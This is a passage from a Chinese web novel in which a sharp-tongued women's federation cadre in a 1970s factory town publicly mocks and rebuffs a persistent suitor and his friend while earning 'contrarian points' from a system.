宋知南身穿绿军裤和白衬衫,腰间束着一根棕色的宽皮带,迈着六亲不认的步伐,大步走了上来。她站在舞台中央,目光往台下一扫,没有丝毫紧张,她竹板啪地一打,直接开始表演: “秋高气爽天空蓝,我是妇联宋知南。” 这一句顺口溜开场白,逗得大家哄堂大笑。 宋知南等大家的笑声落下去,继续表演。 “自打我来到妇联,就觉得女人真可怜。 柴米油盐酱醋茶,芝麻豆子全都靠她。 老公工资只有35,拽得却像个二百五。 抽烟喝酒样样会,一到正事就打瞌睡。 婆婆彩礼不想给,就这还觉得儿子亏。 公公拿不出衣柜,他只想当甩手掌柜。 婆家个个想做主,都想当她的奴隶主。 在家水灵一朵花,如今腰酸背痛眼花。 满腹辛苦说不出,我路见不平来说书。” 笑声如响雷一般炸开,接着是暴风雨般的掌声,这掌声多半是女同志给的。 她们一边用力鼓掌一边看向男同志们,男同志们笑嘻嘻的,还有少数人相视苦笑。 霍峥嵘和华哥他们也在观众席中,华哥笑得上气不接上下气,他双眼晶亮的盯着台上的宋知南,边笑边对霍峥嵘说:“峥嵘,你们这儿可真有意思,竟然出这么一个活宝,一会儿我必须得去会会这个妇联宋知南。” 说罢,他还不忘高呼一声:“说得好说得妙,再来一段。” 现场闹哄了好一会儿才逐渐安静下来,宋知南打了下快板接着说。 “革命同志听我说,男女平等不是随便说。 它关系到咱们社会主义大建设。 伟大领袖说,妇女能顶半边天, 谁不同意这点谁就是要遮天。 要想搞四化,我们就得听领袖话。 破四旧立四新,你不新破的就是你。 刨树要狠刨根,不让封建观念翻身。 领袖思想哺育咱,一颗红心似火焰。 大家思想要升华,一起建设我中华。” 宋知南把这段说完,台下的观众再次发出猪叫一般的笑声。 女同志一边笑一边议论:“这个小宋同志真有两下子,有内容有思想还好笑。” “对对,她讲得真好,把咱们大家伙的心声说出来了。” 男同志这边就不那么客气了:“这个姓宋的又开始挑事儿了,她是唯恐天下不乱吧。” “我就等着哪个好汉把她娶回家好好修理修理她,也算是为民除害。” “对对,为民除害。” …… 霍峥嵘的那帮哥们听到“为民除害”四个字时,一齐望向华哥。 华哥把胸脯拍得震天响,一本正经地说:“兄弟们,这是来自人民群众的呼声,这个光荣而艰巨的任务,我顾朝华接了。” 大家高声欢呼:“华哥威武,我们静候佳音。” 第50章 两个小时后, 庆典大会在众人的笑声中圆满结束。 大家第一件事是去厕所,宋知南没去跟人挤, 她打算回家再上。 宋知南顺着人流往家走去,顾朝华在人群中窜了好一会儿,终于找到了宋知南。 他快步赶上来,堵在宋知南前面,大胆地说道:“宋知南同志,先自我介绍一下,我叫顾朝华。咱们上次在群众饭店见过面,你给我留下了深刻的印象。今天看了你的表演,我是十分佩服,正好我对快板也有研究,不如咱们去饭店一边吃饭一边切磋切磋快板艺术?” 宋知南是纺织厂的名人, 一举一动都引人注目。顾朝华虽然面生, 但瞧他那长相气度和自带加成的首都口音也十分引人注目。 大家一看这两人要有故事或是事故发生, 不自觉地放慢脚步,交头接耳、窃窃私语: “这人是谁啊?” “好像是霍峥嵘的远亲, 首都来的, 听说很有来头。” “他看上宋知南了?” “你这就不知道了吧?这小子一看就不是个老实的,听说处过的对象海了去了。” “哦哦,懂了。” 这些人目光炯炯地盯着两人,要是宋知南挡不住这人的进攻,跟他处上了对象,那事情就好玩了。 …… 宋知南停住脚步,把顾朝华上上下下打量了一通, 高声问道:“你是顾朝华?是从首都下放到我们这里来的?” 众人一听到下放,都用异样的目光看着顾朝华。 顾朝华不慌不忙地说道:“知南同志, 你从哪儿听说的?我是来探亲,不是下放,我出身于根正苗红的革命干部家庭。” 宋知南冷笑:“不是下放那也是来躲风头,不然为什么家里不呆跑到别人家来?既然都来躲风头了,那就低调些,别跟那公狗似的,见了女同志就上来搭讪。谁家正经男人会在马路上跟女同志搭讪?你知道一个男人最重要的是什么吗?是贞洁和清纯。我听说你处过十几个对象了,这种不守男德的男同志,我连话都不想说,你以后见到我别跟我说话,我可是妇联的干部,一颗红心一身正气,我不是收废品的,别什么垃圾都往我跟前凑。” 杠精值加5。 顾朝华被噎得一时接不上话来。 围观群众瞠目结舌,小宋同志是真的猛。平等地炮轰每一个男同志,连跟她搭讪的都不放过。 宋知南对着围观人群高声喊话:“大家请注意,这个人叫顾朝华,处过十五个对象,首都人送顾十五、顾臭鞋、顾破鞋,他仗着自己家里有点小钱有点小权,肆意玩弄女同志的感情。这人就是当代黄世仁,可我们无产阶级的女同志不是杨喜儿,我们要与一切丑恶行为斗争到底!” 杠精值加5。 顾朝华跟很多女孩搭讪过,有人羞涩地跑开,有人骂他,也有人顺水推舟地跟他交往,今天是第一次被人当众臭骂和扣帽子。 好在,他也不慌,还笑着对众人解释道:“大家别听她的,你们看我这样的像黄世仁吗?” 宋知南针锋相对:“忠不忠,看行动;浪不浪,看面相。你们瞧瞧他这行动和面相,我相信大家的目光是雪亮的,你们都给我盯紧了他。千万不要让他祸害咱们本地的女同志。” 宋知南转身就走,离开前撂下一句话:“别让我再看见你,否则下一次就用大耳刮子招呼你。” 杠精值加10。 顾朝华用富有侵略性的目光注视着宋知南的背影,不禁微微一笑,事情变得越来越有意思了。 宋知南骂完顾朝华就回家去了。 两人的对话却像长了腿似的,传得到处都是。 人们对这一八卦保持着异样的热情。 见面不再先问“你吃了吗?”而是问“你听说了吗?” 有人把顾朝华的身家背景扒出来后,不由得咂舌:“这小子有来头啊,爷爷和大伯都是高级干部,关键是人长得还俊。” “那小宋要真跟他好了,岂不是攀上高枝了?” “那可不一定。好是能好上,但结婚就未必了。” “也就是说,顾朝华只想玩玩?” “可不是咋地?” “这个小宋要栽喽。” 有人幸灾乐祸,有人等着看好戏,也有不少人替宋知南担心。 魏芬也听说了,她是忧心忡忡,知南虽然聪明有主意,可到底年轻,对方一听就是个老手,不行,她得以过来人的身份去劝一劝。 当天中午,魏芬匆匆吃完饭就来妇联办公室找宋知南。 宋知南自然是热情招待。 魏芬觉得在办公室说话不方便,就说:“知南,你陪我到外面走走呗。” “行。” 两人出了纺织厂大门,魏芬见周围的人少了,才低声说:“知南,我听说,有个首都来的顾同志在纠缠你?” 宋知南点头:“他请我吃饭,我回绝了,还骂了他一顿。” 魏芬说:“他要是后面还来缠你,你不要理他。我跟你说,我年轻时也见过这种厚脸皮的男同志,他们一般品行不好,你真上了他们的当,以后后悔也晚了。我有个女同学就上当了,她男人不务正业,偷鸡摸狗,勾三搭四。她家的日子过得一塌糊涂。” 宋知南笑着说:“姐,你放心。我脑子清醒得很,不会上这种人的当。” 魏芬略略放了心,中午午休的时间不长,两人聊了一会儿魏芬就回去了。 宋知南没想到下午刚一上班,顾朝华就来了。 何黛一看到他,忍不住翻了个白眼。 顾朝华像是什么也没发生似的,嬉皮笑脸地说道:“宋同志,我是来妇联求助的。” 宋知南严肃地说:“我们一般只接待女同志,你先得把自己给阉了。” 杠精值加5。 顾朝华笑吟吟地看着宋知南:“你真的舍得?” 宋知南:“你又不是我孙子,我怎么舍不得?还是说,你本来就没有?” 杠精值再加5。 顾朝华正要张口,王翠花的大嗓门远远地就响起来了:“妹子,你正忙着呢?” 宋知南见是王翠花,立即换了一副面孔,笑着招呼:“王姐你来了,这边坐。” 说完,宋知南一本正经地对顾朝华说:“这位同志,关于你的问题,我们妇联没法解决,你去医院看看男科吧。” 说到这里,她小声对王翠花说:“这位同志也够可怜的,他那方面不行,处了十几个对象都没成,现在精神有点不正常。” 王翠花两眼一亮,八卦之火熊熊燃烧。 随即她又想到,小何和小宋都是未婚女同志,这人怎么这么不讲究过来说这种事?” 王翠花觉得自己做为过来人,有责任有义务教训教训这位不正常的男同志。 她走到顾朝华面前,义正词严地说道:“这位同志,你的这个情况不应该向两位未婚女同志反映。你都不行了,更不应该再耽误别的姑娘,还处了十几个对象,有你这样的人吗?” 顾朝华:“……” 他自诩见过很多世面,但今天的场面着实超出了他的经验。 被人当面造谣自己不行,是个男人都忍不了。 他又气又急,身上的潇洒随意劲儿早消失不见了。 顾朝华没好气地质问道:“你们怎么知道我不行?你们有谁试过了吗?” 王翠花一听这话,脸都气红了,这人要是只对她说这种话,她还能忍,但对宋知南这么说她不能忍,人家小宋同志的小目标是当个有文化的泼妇,那她就当个没文化的泼妇。 王翠花再无顾忌,当下就破口大骂:“滚你大爷的,你个王八犊子回去找你家里人试去!在这儿跟我耍流氓呢。” 顾朝华都气笑了,他指着自己反问道:“大婶,我这样的人会对你耍流氓?你要不要先照照镜子再说这句话?” “我不用照,你撒泡尿照照自己去。哦我都忘了,你撒尿都尿不好吧?毕竟下面都不行了,也就靠嘴花花。” 王翠花的嗓门本来就大,她一嚷,附近闲逛的上班的人都听见了,刷地一下围上来看热闹,甚至连保卫科的人都来了。 保卫科的赵大刚一听有人在妇联办公室捣乱耍流氓,二话不说,叫上两个身手最厉害的年轻人跑过来架起顾朝华就走。 顾朝华斜睨着赵大刚:“你知道我是谁吗?” 赵大刚不耐烦地说:“我管你是谁,带走。” 宋知南从屋里追出来,对赵大刚小声说:“赵同志,让你们的人小心些,他这人有精神类疾病,还有一种不太好说的毛病,就是跟春天的公狗似的那种毛病,男女通吃。” 说是小声,其实周围的人都听见了。 押着顾朝华的两个年轻人也听到了,一脸厌恶地看着顾朝华,手像触电似的赶紧松开。赵大刚瞪了他俩一眼,两人只好又重新架着顾朝华。 顾朝华本人自然也听到了,他正要开口反驳,赵大刚眼疾手快从衣兜里掏出一块用过的手绢塞到顾朝华嘴里,为了防止他吐出来,他还用根细绳绑住他的嘴。 宋知南瞥了一眼赵大刚的口袋,这东西够齐全的呀。 赵大刚笑笑:“嗐,我媳妇非让我带着手绢,她这人讲究。” 宋知南说:“讲究点好,你看看你被嫂子拾掇得多利索。” 两人说着话,顾朝华正扭着身子拼命挣扎着,嘴里呜呜地叫着,但没人理会他。 赵大刚把顾朝华带回保卫科去审讯了。 人群分成两部分,一部分留在妇联门口,一部分去保卫科看热闹。 对于留下来的那部分,宋知南不遗余力地替顾朝华宣传,她宣传完,大家再一传十十传百,顾朝华很快就会在这一带出名了。 霍峥嵘听说顾朝华被保卫科的人带走了,赶紧过去接人。 霍峥嵘质问赵大刚:“赵叔,顾朝华是我的亲戚,厂里很多人都知道,你也应该知道吧?你为什么要这样对他?” 赵大刚眯着眼睛看着霍峥嵘:“小霍你这话说得就不对了,你是什么人?你家的亲戚我就该知道吗?别说是你,就算是吴厂长家的亲戚,我也没有全部认识。” 霍峥嵘被噎了一下。 赵大刚抿了一口茶,接着说:“至于我为啥这样对他,他不是咱们厂里的工人,趁我们不注意混进来,还去妇联办公室捣乱,调戏人家王翠花同志,我不抓他难道还要供着他?” 顾朝华被人从保卫科的小黑屋里放出来时,他扫了在场的人一眼,似笑非笑地说:“各位,我记住你们了,咱们再会。” 赵大刚自然能听出他语气中淡淡的威胁,他笑得跟个弥勒佛似的:“顾同志,你得记住一句话,强龙不压地头蛇。这儿是纺织厂,是我们的地盘,把你以前那套收起来。” 顾朝华整理一下衣服,又恢复了之前那种潇洒随意的姿态。 回去的路上,他罕见的沉默。 霍峥嵘一看他这样,知道他是真动气了,便安慰道:“华哥,你放心,我不会饶了这帮人的。” 顾朝华说:“那个宋知南真是个狠人,老子第一次栽到一个娘们手里。” 霍峥嵘无奈道:“华哥,我早劝过你不要招惹宋知南,你非不听。找对象,就要找温柔贤惠的,就算你口味特殊,找泼辣的也行。但宋知南连泼辣都称不上,她嘴毒手还黑,整人是真整,真不是一般人能消受的。” 顾朝华似笑非笑:“本来我只是想逗逗她,但现在我不这么想了。” 这次之后,顾朝华也成了附近的名人,很多人猜测他到底行不行,还有他那个男女通吃的名声,猜着猜着竟然把霍峥嵘和顾朝华扯到一起去了。让宋知南不得不感慨大家伙的脑洞真大。 顾朝华也因为这事沉寂下来,连着几天再没出现。 宋知南很快就把他抛之脑后,她有很多事情要忙,要写稿要跟朋友相聚,还要接待很多女同志。 终于又到了星期天,宋知南去逛街采购。她路过人民广场时,就看见顾朝华正蹲在地上喂猫。 看见宋知南,顾朝华抬头朝她一笑,一本正经地招呼道:“知南,你看这只猫多可爱。” 宋知南冷淡地说道,“你跟人搭讪不成,改跟猫搭讪了?”说完,她继续往前走。 杠精值加5。 顾朝华撇下猫紧跟上来,他一个箭步窜到宋知南面前,郑重其事地道歉:“知南同志,我正式向你道歉,对不起。我为我以前的唐突和冒犯道歉。请你相信我,我对你没有恶意。我这么做只是想引起你的注意。” 宋知南态度冷漠:“顾同志,你道歉很有经验。歉意我接受,记得以后不要再犯。” 顾朝华依旧横在她面前,语气真挚:“知南,你愿不愿意听一听我的故事?” 宋知南摇头:“我没兴趣。” 顾朝华戏谑道:“你嘴里说不想听,可是你已经知道了我的故事,甚至连我处过几个对象都知道。你是故意用冷漠包装自己来引起我的注意吧?你真的做到了,我开始注意你了。” 宋知南被对方的自恋和普信深深恶心到了,她蹙着眉头,忍着胃里的哕感,淡声说道:“顾朝华,你恶心到我了。今天我就大发慈悲告诉你一些真相。” 顾朝华面带微笑,做出一副洗耳恭听的架式。 宋知南用平淡清晰的语调说道:“顾朝华,其实你并没有多少魅力,你长得只是还算能看;你可能有一点身家,但那是你的爷爷大伯挣来的,你能享受一点,但跟着你的女人享受不了。你家的权势和钱是给她们看的,不是给她们用的。你利用这些女孩的年少无知肆意伤害她们的感情,还沾沾自喜,自以为很有魅力。” “你经常换对象,不是你魅力大价值高,而是你品行不端,不尊重女人。你肤浅自大、内心空虚贫乏,总想在人前找存在感,你没有独处的能力,也没有维护长期关系的能力,这本身已是大病,偏偏你有病还不自知,还在那儿沾沾自喜、洋洋自得。看不清自己本质的问题,说明你脑子不好使,智商有问题。你周围的朋友赞美你夸奖你,说明朋友的脑子和品行都不行。你真是可怜又可悲。” 50-60 第51章 宋知南这一番话像响亮的巴掌一样扇在了顾朝华的脸和心上。扇得他一一脸懵的同时又生疼生疼的。 顾朝华自诩见过很多世面, 但他没见过宋知南这种女孩,也从来没被人这么鞭辟入里、酣畅淋漓地怒骂过。 他的对象多不是有魅力是什么?院里哪个男孩不羡慕他妒忌他?他自认为自己风流而不下流, 怎么到了宋知南嘴里,就变成了品行不端还不尊重女人了?那些女孩都是自愿跟他处对象,他又没强迫过谁。 宋知南还骂自己脑子不好,有大病。这就更荒谬可笑了。他从小被夸到大,老师说他聪明伶俐就是学习不认真;同伴们都说他机灵有主意;家里的客人见了都说他将来肯定有出息。 活这么大,第一次有人指着他的鼻子骂他智商有问题。 原来他引以为傲的家世和魅力,在宋知南的眼里竟然一文不值;他引以为豪的性格脑子也被贬得一无是处。她宋知南凭什么?顾朝华心头生起一股愤怒。 如果宋知南出身高于自己,他虽不服但也无话可说。像他们院里首长的女儿,他是绝对不敢搭讪调笑的。 宋知南不过是出身于一般工人家庭,一个小小的妇联干事而已,又没有倾国倾城的相貌。自己跟她处对象, 那是抬举她。她倒好, 她倒骄傲起来了。他顾朝华从未见过如此不知好歹的女人! 宋知南听到系统播报收获二十点杠精值后, 心情还算愉悦。不枉她费嘴骂了对方一通。 宋知南的脸上带着睥睨一切的表情,迈着六亲不认的步伐离开了。只留下脸色变幻莫测的顾朝华站在原地。 她又打疼了一个装睡的人, 真是好玩又刺激。只要人人献出一点大爱, 世界将变成美好的人间。世界是个巨大的精神病院,可她是医生。 天空是那么蔚蓝,阳光是那么灿烂。 宋知南心情愉悦地一路逛下去,途经供销社、商店和副食店,她都进去买点东西,很快就积攒了一网兜东西。空手而来,满载而归。 宋知南把东西拎回家, 喝口水歇一会儿,撸一会儿猫再逗会儿狗, 消耗掉的电量又满格了。 接着她开始给菜地浇水,萝卜白菜韭菜小葱又长高了一截,长势相当喜人。照这样下去,她入冬时应该能收获不少蔬菜。 宋知南晒着暖洋洋的阳光哼着歌儿干活,忽听见有人敲门。 她问了一声谁呀,外面传来陆诗月的声音:“知南,是我和小霜。” 宋知南抖掉手里的土,洗了下手,出去迎接朋友。 宋知南打开门热情招呼,“欢迎欢迎,快进来吧。” 陆诗月以前有点害怕不敢来宋知南家,现在见宋知南一个人住了这么长时间也没什么异常的事发生,她的心就慢慢放下了。这次王小霜来找她玩,问起宋知南说想来看看,她就陪着来了。 王小霜是第一次来宋知南家,满眼都是好奇,她看到院子里郁郁葱葱的菜苗,忍不住出声感叹:“哇,你还会种菜,这菜长得真好。” 陆诗月在一旁接道:“谁也没想到知南还有这么一手,我们院子里的菜你也看到了吧,也是她种的。明珠她妈看到后,高兴坏了。” 宋知南把两人领进堂屋,给她们倒了两杯温水,端出水果和零食招呼她们吃。 三人边吃边聊。 宋知南上次见王小霜还是在知青点,便礼貌地问了她的近况。 王小霜她哥哥到底还是下乡去了,父母不放心,她也不放心。父母还要上班,请假不方便。她就干脆陪着哥哥一起去他插队的地方看了看,还在那儿住了几天,这一来一回耽误了不少时间。 她听说宋知南不但靠自己找到了工作,还在单位混得风生水起,不由得心生佩服。 王小霜由衷地感叹:“知南,你真厉害。” 宋知南语气谦虚:“啥厉害不厉害的,不过是运气好罢了。” 陆诗月抿着嘴笑:“那些男同志都说你傲气,可你在我们面前又这么谦虚。” 宋知南笑着说:“嗐,我在男同志面前傲气倒是真的,我怕给他们一点好脸色,他们会误以为我喜欢他们。” 三人一起笑了起来。 王小霜接着说:“但是知南你有傲气的资本,你才上班没多久,就受到了大家伙的夸奖和喜欢。我堂姐不止一次地夸你,还让我向你学习。” 宋知南迟疑了一下问道:“你堂姐是谁?” 王小霜诧异道:“她叫王小雪,你不知道啊?” 宋知南恍然大悟:“原来她是你姐啊,我说怎么跟她一见如故呢。” 王小霜王小雪,名字确实挺像的。 宋知南笑着问道:“你是不是还有一个妹妹叫王小雨?” 王小霜说:“你还真说对了,我妹就叫小雨。我哥叫小雷,堂哥叫小风,堂弟叫小电。” 宋知南咂舌,这一家子凑齐了风霜雨雪和雷电。 王小霜说完也有些不好意思:“我家人的文化程度有限,取名字都是瞎取的。” 宋知南附和道:“大家都差不多,我家凑齐了春夏秋冬,我爸妈要再生下去没准能凑齐东南西北。” 王小霜和陆诗月再次笑出声来。 王小霜和陆诗月在宋知南这儿呆了半小时就离开了。 她们离开时,看到一个打扮入时,长相英俊的男子在宋知南家附近转悠。 他一见到两人就痞痞地笑着上前搭讪,陆诗月一脸警惕,拉着王小霜就走。 王小霜边走边好奇地问:“诗月,刚才那人是谁啊?你认识他?” 陆诗月说:“见过两次,他叫顾朝华,京城来的。是江茶对象霍峥嵘的远亲。前几天大家都在说他对知南很感兴趣,但咱们知南看不上他,把他骂得狗血喷头,没想到这人脸皮挺厚,都骂成那样了,还不死心。” 王小霜说:“看他的衣着打扮,家境肯定不差。长得又俊,脸皮又厚,知南年纪不大,真的未必挡得住他的攻势。那句老话怎么说的?烈女怕郎缠。” 陆诗月对宋知南却很有信心:“那也未必,咱们的知南意志比较坚定。”经过李松那件事后,陆诗月特别讨厌死缠烂打的男人。 王小霜不置可否。 从这以后,顾朝华时不时地出现宋知南家附近,弄得周围的邻居都注意到他了。大家议论纷纷。 有一次下雨,顾朝华不打伞不穿雨衣就那么站在雨里傻傻地淋着,用深情的目光望着宋知南家紧闭的大门。 风言风语开始流传开来。 有人向宋知南打探消息:“小宋啊,听说最近总有一个男孩子出现在你家附近?” 宋知南:“那完了,我家肯定是被贼盯上了,一会儿我就去报公安。” 那人神秘兮兮的压低声音说:“小宋,我咋听说那个男的喜欢你?听人说,他下雨了也不打伞就那么站在雨里看着你家的大门。好可怜哟。” 宋知南冷酷无情地说:“你觉得可怜啊,那你把他领回家呗。” 说闲话的人一脸讪笑,不知该如何接话。 宋知南转过身去,嘴角不由得扬起一丝冷笑,这个顾朝华心思真脏,想用这种手段逼她就范。 这个男人智商不高,但对付女人的小手段却很多。先是装作威风凛凛的老虎,然后装作调皮可爱的猫,趁着下雨再变身湿漉漉的狗,总之就是不做人,在大家的目光中表演自己的深情和执着。 可惜他顾朝华踢到铁板了,老虎、小猫、狗,她都喜欢,就是不喜欢男人。狗永远一直是狗,男人可不一定永远是人。 宋知南揉揉额头,她不在乎名声,可也不想这样任人传播自己的流言。 她得想办法处理此事,让顾朝华的名声再臭一层,最后让他带着满身伤痕和臭味滚回家去。 宋知南还没开始采取行动,就有人来找她了。 先来的是霍峥嵘,他在宋知南下班的必经之路上等着她。 霍峥嵘对宋知南的观感很不好,他对宋知南的评价就是不知好歹、牙尖嘴利、爱出风头,身上没有一点女孩子应该有的美好品质。 要不是因为顾朝华,他根本不想见她这个人。 霍峥嵘眉头微蹙,仿佛来见宋知南委屈了他一样。 宋知南一见到他,直接紧皱眉头,一脸不加掩饰的嫌恶。霍峥嵘气得差点心梗。他知道自己招人喜欢,为了不让茶茶伤心,他都不敢对别的女同志太和气,生怕别人误会了什么。现在这个不知好歹的宋知南,见了他像见了苍蝇一样。 霍峥嵘起初是震惊愤怒,随即又了然,宋知南肯定是在故意引起他的注意。真是可笑。 霍峥嵘毫不留情地揭穿了宋知南:“宋知南,无论你怎样花样百出,怎样上窜下跳地引起我的注意,你永远都比不上茶茶。” 这下轮到宋知南惊诧了,她流露出一副受到惊吓的模样,“我的天呐,霍峥嵘,你的自恋已经这么严重了吗?你去医院看过吗?” 霍峥嵘:“……” 杠精值加五十。 宋知南用慈悲的眼神看着霍峥嵘:“霍同志,我以前不知道你病得这么严重。你放心,我以后再也不会刺激你了。你记得要按时吃药。” 霍峥嵘刚要说话,宋知南抬手强势打断他:“女人说话时男人不要随意打断,这是身为男人应该懂的规矩,你爸没教你,我来教你。” 接着,她飞快地说道:“至于你说的我跟江茶同志比较的事,我在这里教你一句:我一直都是我自己,为什么要跟她比?我不做最好的自己,去做第二个她,你是不是当我跟你一样又傻又瞎?” 杠精值加一百,杠男女主收益就是高。 霍峥嵘再三被挑衅,再也无法忍耐,他压着怒火沉声说道:“宋知南,你够了。我从来没见过像你这样的女孩子。” 宋知南傲然道:“你这么想也很正常,毕竟井底之蛙又没见过大海。” 杠精值又增加50,宋知南面带喜色。 霍峥嵘气得转身就走,走了两步,又想起他这次来是有任务的。 算了,为了好哥们顾朝华,也为了别的哥们心中的那口恶气,他忍了。 霍峥嵘转身回来,站在宋知南面前,居高临下地说道:“宋知南,你知不知道顾朝华为了你,食不下咽、夜不能寐?” 宋知南理性客观地分析:“食不下咽肯定是因为他太挑剔了,夜不能寐更没什么,他这个年纪的男同志都喜欢熬夜。说不定他熬夜时还带着兴奋,因为追逐猎物的过程让他生产巨大的成就感。你回去告诉他,想熬夜就继续熬,以后别告诉我,告诉我也没用,我不能剥夺他的乐趣。他喜欢淋雨就让他淋,只是别在我家附近淋,以免让人误会。如果以后再发生这样的事,我就写信举报,说顾朝华仗势强迫女同志跟他谈恋爱。” 霍峥嵘一时不知道说什么好,他长这么大真是第一次见到宋知南这样的女孩子。 宋知南把话说完,转身就走。她可不能多说,不然霍峥嵘又误会了怎么办? 霍峥嵘见宋知南这么干脆地转身离去,胸中生出一股强烈的怒气,在她身后大声吼道:“宋知南,你有什么可骄傲的?顾朝华一个京城来的大院子弟,他能看上你,那是你的幸运!” 宋知南连头也没回,朗声回复道:“霍峥嵘,我比你们高一级别。所以,哪怕包括你在内的全世界的狗都认为屎香,我还是坚持自己的意见。咱们以后别见了,毕竟人狗殊途。” 霍峥嵘气得在风中凌乱。 宋知南收获了300个杠精值。 她一路哼着歌儿迈着轻快的步调回到家,黑米摇着尾巴出来迎接她。 宋知南一把抱起黑米,满脸愧疚地说道:“黑米对不起,我今天侮辱了你。我把霍峥嵘和顾朝华那帮人划分到你们狗届了,为了表示我的歉意,我吃肉时分你一块。” 第52章 黑米歪着脑袋看着宋知南, 黑亮的狗眼里全是困惑。 宋知南给狗道完歉又去抱猫,主打一个雨露均沾, 哪个都不冷落,猫狗双全的人是真幸福啊。 幸福之后还有更幸福的,一会儿该吃晚饭了。只是吃之前还得自己做。 宋知南一边做饭一边给自己加油鼓励:“劳动使我快乐,晚饭是给我自己做,我独立自强我自豪。” 宋知南花了半小时的时间做了一荤一素一汤,又花半小时吃了晚饭。 吃饱喝足,她在院子里溜达散步消食。她走,猫和狗也跟着走,还是穿插环绕着她走,她的腿脚时不时触到一个毛茸茸。 宋知南正在跟猫狗互动,又有人敲门。 她应了一声:“谁啊?” 来的人是吴明珠。 吴明珠站在门口迟疑片刻, 看院子里充满活力和生机, 再也没了之前那种阴风嗖嗖的阴间感觉, 就大胆走了进来。 宋知南笑着招呼道:“哎哟,稀客呀。” 吴明珠笑着说:“我这人有时挺胆小的, 不像你天不怕地不怕的。” 宋知南说:“你这样很正常。” 天还没黑透, 宋知南泡了一壶冰糖菊花茶,两人就坐在院子里闲叙。 吴明珠喝了一口茶,试探着问道:“知南,我听人说江茶对象的好哥们顾朝华想跟你处对象?” 宋知南大方地承认:“是的,那家伙有这种企图,霍峥嵘还专门劝我来接受他,我全部严词拒绝。我说我不喜欢风流浪荡的男人, 我喜欢贞洁正经的。” 吴明珠噗嗤一声笑了出来:“你的口味还挺特别。” 吴明珠笑毕,随口解释一句:“我这人不爱说闲话也不爱管闲事, 只是呢,你是诗月的好朋友,也是我的朋友。有些事我知道了就忍不住想告诉你。” 宋知南说:“我知道的,你这人外冷内热,正义又善良。——你是听说了什么吗?” 吴明珠身子稍稍前倾,宋知南也往前凑近些,吴明珠说:“顾朝华那种人我见过几个,他们这类人怎么说呢?就是喜欢仗着自己不错的家世和还算英俊的相貌游戏感情,偏偏有不少女孩还吃他们这一套。我担心你年纪小,以前没谈过对象,上了顾朝华的当。到时他拍拍屁股回京城去了,你怎么办?这个世道对男同志很宽容,对于女同志却特别苛刻,错误不是你犯的,但承担结果的却是你。” 宋知南没想到吴明珠会对自己说这么一番推心置腹的话,她语气坚决:“明珠,谢谢你提醒我。我不会上他的当,我会更加坚决地拒绝他。” 吴明珠笑着点头,欲言又止,宋知南鼓励她继续说下去:“咱们之间不用这么遮遮掩掩的,你想说什么就直接说。” 吴明珠粲然一笑:“那我真的直说了。我前面说过,顾朝华这样的人我见过,他们还有一个特点就是没有正经事做,又不愁吃穿,他们闲着难受就专门在女人身上下功夫。他们有的是闲心和时间,脸皮又厚,你拒绝了他,他很有可能会继续纠缠你,有的女孩就败在了这一步,觉得男人纠缠她是因为深情是因为喜欢,最后因为感动而和他在一起。其实不是的,他们就是不甘心。你真的答应他了,他得手后冷淡得比谁都快。” 宋知南握了握吴明珠的手,语气真诚:“明珠,谢谢你特意过来给我忠告,这是真朋友才做的事。” 吴明珠轻轻舒了口气:“你不怪我多管闲事就好。说实话来之前我犹豫了很久,我怕你觉得咱们交浅言深,更怕你误会我见不得你好。但我实在不想看到你这么一个个性鲜明、桀骜不驯的女孩被一段明显是坑的感情给耽误了。” 宋知南笑道:“咱们之间怎么能叫交浅言深呢,咱们虽然认识的时间不长,但也共经患难,你和诗月帮了我很多,而且最关键的是我跟你之间理念相通、惺惺相惜。” 吴明珠两眉一弯:“对,你说得对,咱们之间是惺惺相惜。” 宋知南再次表态:“明珠你放心好了,我是一个意志坚定的人,顾朝华这种级别的根本诱惑不了我。我知道,大家都担心烈女怕郎缠,可是大家似乎忘了‘烈女怕郎缠’后面还有一句叫做‘恶鬼怕钟馗’。我就是那个钟馗,我连恶鬼都不怕,我怕他一个金玉其外败絮其中的顾朝华?他家世好,他是大院子弟,可跟我又有什么关系?我与其冒着降低自尊、损害名声的风险跟顾朝华攀上关系,还不如抱紧你的大腿呢,你爸还是厂长呢,他看在你的面上真的愿意帮我。” 吴明珠笑着轻捶了宋知南一下,“什么大腿不大腿的,我爸妈都挺喜欢你的,我妈夸你会种菜,我爸对你印象很深。” 宋知南顺杠往上爬,“真的假的?你没骗我吧?既然他们都喜欢我,那我下回真的去登门拜访了。” 后面,霍峥嵘和江茶会联合别人对付吴厂长,她得多在吴明珠父母面前刷一下存在感,到时大家才能更好的合作。 吴明珠生怕她宋知南不去,赶紧用小手指跟她拉了一下勾:“你说话要算话,真的要来啊。” 鉴于吴明珠的身份,去她家找她玩的朋友还真不多。她听见宋知南主动要去,自然不肯放过。 “再等等吧,我院里的菜快长好了,到时我带着自己种的菜去你家,好好的显摆显摆。” “行,我等着你来。” 两人心情愉快地告别。 吴明珠走后,天也黑了。宋知南插好院门,收拾好东西,准备回房间。 她跟顾朝华之间的事还没完,她得做点什么让对方难受难受。 宋知南思来想去,准备利用顾朝华为自己增加点名声,再顺道变个现。拿他当素材写稿。 她这一生没法靠男人吃饭,但能靠骂男人吃饭。 先来一篇《警钟长鸣:年轻女孩怎样抵制“走资公子”》 “走资公子”是宋知南自己取的名字,是从“□□”延伸出来的,即“走资本主义道路的花花公子”。 文章的开头就用简洁明快的文字写道:“请大家注意看,这个年轻善良的女孩叫小南,无产阶级出身。她即将被出身革命家庭、但走资本主义道路的花花公子小华腐蚀勾、引。 小南革命意志坚定,坚决不受诱惑,这更激起了小华的胜负欲。小华觉得自己纵横情场七八年,几乎没有失手的时候,他决不能有败绩。于是,他假装深情,装作夜不能寐,故意在雨中淋湿,想借助大家的同情心用道德逼迫小南就范。 路人甲乙丙丁开始登场,来劝小南同意。小南慷慨激昂地把他们骂走了。 写到这里,宋知南总觉得还不够味道,缺点劲道。想修改又不知道从哪儿下手。她决定先去睡觉,没准明天就来感觉了。 宋知南一夜好眠,次日清晨醒来神清气爽。早睡早起就是好,谁试谁知道。 宋知南给自己做了个中式汉堡——馒头夹煎蛋咸菜,吃完早饭。再去喂黑米和小虎,然后步行去上班。 宋知南走在路上,发现路人时不时地看自己。她直接无视,继续昂首挺胸往前走。 宋知南刚到妇联办公室,就有人来访了,来人却是江茶。 江茶态度客气礼貌:“宋同志,我有事跟你说,你能出来一下吗?” 宋知南一听,豁,素材来了。 宋知南爽快地答应,跟何黛打声招呼便跟江茶一起往外走。 江茶领着宋知南来到一个花坛旁边。 宋知南双手抱臂、好整以暇地看着江茶。 